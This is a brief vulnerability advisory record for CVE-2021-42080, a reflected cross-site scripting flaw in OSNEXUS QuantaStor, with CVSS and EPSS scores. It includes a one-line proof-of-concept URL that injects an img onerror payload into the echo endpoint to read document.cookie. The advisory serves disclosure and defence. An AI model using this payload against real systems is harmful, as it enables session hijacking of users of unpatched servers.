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CVE-2021-42080

7.4 highEPSS 0.7%

High (7.4) in osnexus quantastor. EPSS 0.7% chance of exploitation in the next 30 days.

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Severity

CVSS 3.1

7.4 high
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
EPSS
0.7% chance of exploitation in the next 30 days; higher than 52% of CVEs (scores of 2026-10-31)
CWE
CWE-79
Published
Modified
Record from
the NVD, synced

Affected

References

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